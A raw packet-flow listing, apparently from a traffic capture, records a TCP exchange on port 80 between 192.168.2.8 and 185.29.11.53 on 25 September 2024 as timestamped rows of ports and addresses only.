Sep 25, 2024 16:01:26.368144035 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:26.987665892 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:26.987684011 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:26.987695932 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:26.987709999 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:26.987735987 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:26.987749100 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:26.987760067 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:26.987823963 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:26.987965107 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.068506002 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.068525076 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.068536997 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.068550110 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.068563938 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.068749905 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.068846941 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.068859100 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.068873882 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.068934917 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.068990946 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.074498892 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.074522972 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.074532986 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.074546099 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.074620962 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.074717999 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322233915 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322251081 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322257996 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322278976 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322289944 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322294950 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322303057 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322314024 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322340012 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322362900 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322376966 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322382927 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322390079 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322401047 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322407007 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322410107 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322412968 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322427034 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322432041 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322443962 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322457075 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322460890 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322463989 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322482109 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322493076 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322493076 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322505951 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322513103 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322520971 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322532892 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322542906 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322546959 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322547913 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322554111 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322566986 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322586060 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322586060 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322598934 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322609901 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322613001 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322623014 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322633982 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.322640896 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.322675943 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.327585936 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.327599049 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.327611923 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.327641964 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.327667952 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.327687025 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.327699900 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.327732086 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.327766895 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.327980995 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.328031063 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.328037024 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.328048944 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.328080893 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.328099966 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.328377962 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.328392029 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.328423977 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.328450918 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.329346895 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.329359055 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.329370975 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.329401016 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.329490900 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.329504967 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.329511881 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.329539061 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.329567909 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.330221891 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330235004 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330240965 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330296993 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.330310106 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330322981 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330358028 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.330415010 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.330723047 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330763102 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330765963 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.330775976 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330804110 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.330817938 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330826044 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.330832005 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.330857992 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.330888987 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.331615925 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.331629038 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.331640005 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.331664085 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.331681013 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.331681013 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.331695080 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.331727982 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.331754923 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.332525015 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.332535982 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.332546949 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.332586050 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.332616091 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.332633972 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.332647085 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.332678080 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.332700968 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.333323002 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.333343983 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.333355904 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.333365917 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.333380938 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.333405018 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.334034920 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.334060907 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.334075928 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.334083080 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.334095955 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.334115028 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.334572077 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.334609985 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.334625006 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.334635973 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.334666967 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.334683895 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.334717035 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.334728956 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.334811926 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.335304022 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.335345030 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.335376024 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.335418940 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.335637093 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.335690022 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.335805893 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.335860968 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.335875988 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.335922003 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.336179018 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.336230040 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.336363077 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.336374998 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.336385965 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.336410999 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.336425066 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.336435080 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.336447954 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.336483002 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.336512089 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.337486029 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.337546110 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.337647915 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.337661982 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.337697983 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.337709904 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.337871075 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.337920904 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.338011980 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.338023901 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.338068962 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.338088036 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.338336945 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.338359118 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.338371038 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.338388920 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.338418961 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.338432074 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.338444948 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.338460922 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.338478088 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.338500977 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.339270115 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.339292049 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.339304924 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.339334011 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.339344025 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.339354992 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.339370012 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.339400053 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.339426994 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340198040 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340259075 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340264082 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340274096 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340317011 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340339899 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340353012 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340363979 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340372086 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340377092 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340390921 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340392113 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340434074 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340451956 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340452909 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340502024 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340687990 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340742111 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340764999 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340776920 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340821028 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340831995 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340905905 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340919018 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340929985 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340941906 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340955019 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340956926 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340967894 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340976000 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.340981007 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.340992928 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.341011047 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.341026068 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.341031075 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.341044903 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.341047049 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.341058969 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.341070890 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.341070890 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.341113091 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.341140985 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.341672897 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.341728926 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.341902018 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.341950893 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.398613930 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398644924 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398658037 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398736954 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.398758888 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.398781061 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398799896 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398813009 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398818970 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.398824930 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398837090 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398849010 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398855925 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.398859978 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398873091 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398885965 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.398885965 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398897886 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398906946 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.398911953 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398922920 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.398926973 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398937941 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398951054 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.398952007 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.399024963 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404110909 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404138088 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404150963 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404172897 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404197931 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404198885 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404210091 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404223919 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404236078 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404247046 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404278040 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404284000 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404295921 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404308081 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404320002 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404321909 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404331923 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404341936 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404349089 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404378891 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404432058 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404445887 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404452085 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404457092 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404463053 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404468060 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404474974 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404479980 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404485941 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404489994 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404500961 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404509068 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404556036 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404584885 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.404593945 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.404620886 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415457010 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415473938 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415487051 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415498018 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415510893 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415523052 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415530920 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415534973 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415546894 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415551901 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415559053 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415571928 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415585041 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415585041 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415596962 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415604115 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415610075 CEST	80	49710	185.29.11.53	192.168.2.8
